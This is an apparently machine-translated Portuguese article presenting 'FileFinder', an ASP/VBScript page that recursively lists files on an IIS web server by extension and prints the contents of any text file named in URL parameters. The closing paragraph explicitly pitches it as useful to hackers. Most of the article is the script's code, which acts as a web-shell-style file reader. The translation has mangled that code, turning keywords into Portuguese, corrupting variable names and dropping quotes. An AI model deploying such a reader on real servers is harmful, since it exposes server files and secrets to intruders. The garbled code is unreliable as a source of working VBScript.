O objeto Scripting.FilesystemObject é um dos muitos objetos COM fornecidos pelo Scrrun.dll para controle VBScript/JScript. Script.FilesyStemObject fornece acesso muito conveniente a arquivos de texto e diretórios de arquivos, mas também representa certas ameaças à segurança dos dados do servidor da Web do IIS.
O código do FileFinder é muito simples, consistindo em 3 funções e 30 linhas de código seqüencial.
O mais importante é a função FindFiles, que implementa a travessia de um determinado diretório, chamando -o de forma recursiva e procura esses arquivos de acordo com uma extensão de arquivo específica.
função findfiles (strstartfolder, strext)
dim n
Dim Ohisfolder
Dim Ofolders
Dim ofiles
Dim Ofolder
Dim ofile
'Se o administrador do sistema definir cuidadosamente as permissões do sistema de arquivos, o código seguinte cometerá um erro
'Mas alguns diretórios ainda podem ser vistos, então simplesmente ignoramos os erros
em erro de erro em seguida
n = 0
Response.write <b> Pesquisa e StrstartFolder & </b> <br>
Conjunto Thatisfolder = g_fs.getFolder (strstartfolder)
Conjunto deiles = AllFolder.Files
para cada um de Íleo em Ofiles
'Se for a extensão de arquivo especificada, produza o próprio guia de conexão, mas use um comando diferente CMD
'Aqui está cmd = lida, isto é, leia o arquivo de texto com o caminho físico especificado
Se Issuffix (Ofile.Path, Strext), então
Response.Write <a Target = _blank href = 'ff.asp? cmd = read & path = & server.htmlencode (ofile.path) &'> <font color = 'Dodgerblue'> & ofile.path & </font> </a> <br>
se err = 0 então
n = n + 1
final se
final se
próximo
Conjunto Ofolders = outthisfolder.subfolders
Para cada um dos mais velhos no mais velho
n = n + findfiles (ofolder.path, strext)
próximo
FindFiles = n
Função final
O código a seguir analisa os parâmetros após o URL:
'Leia os valores de cada parâmetro
strcmd = ucase (request.QueryString (cmd))
strpath = request.QueryString (caminho)
strext = request.QueryString (ext)
brawdata = ucase (request.QueryString (RAW))
'Pesquisa padrão por arquivos .asp
se strpath = então
strpath =.
final se
Se Strext = então
strext = .asp
final se
'Execute diferentes códigos de acordo com diferentes comando cmd
Selecione o caso STRCMD
caso encontre
Response.Write FindFiles (strpath, strext) e arquivos encontrados
Leia de casos
Se Brawdata = t então
Response.Write ReadTextFile (strpath)
outro
Response.write <pre> & server.htmlencode (readtextfile (strpath)) & </pre>
final se
caso mais
Response.Write <H3> Especifique um comando para executar </h3>
final Selecione
A partir da análise acima, podemos ver que, se tivermos permissões suficientes, podemos usar o FileFinder para encontrar qualquer arquivo de texto no servidor da Web do IIS e podemos visualizar facilmente o conteúdo do arquivo. Para arquivos sem texto, é possível determinar se eles existem e onde estão localizados, o que às vezes é extremamente importante para hackers avançados.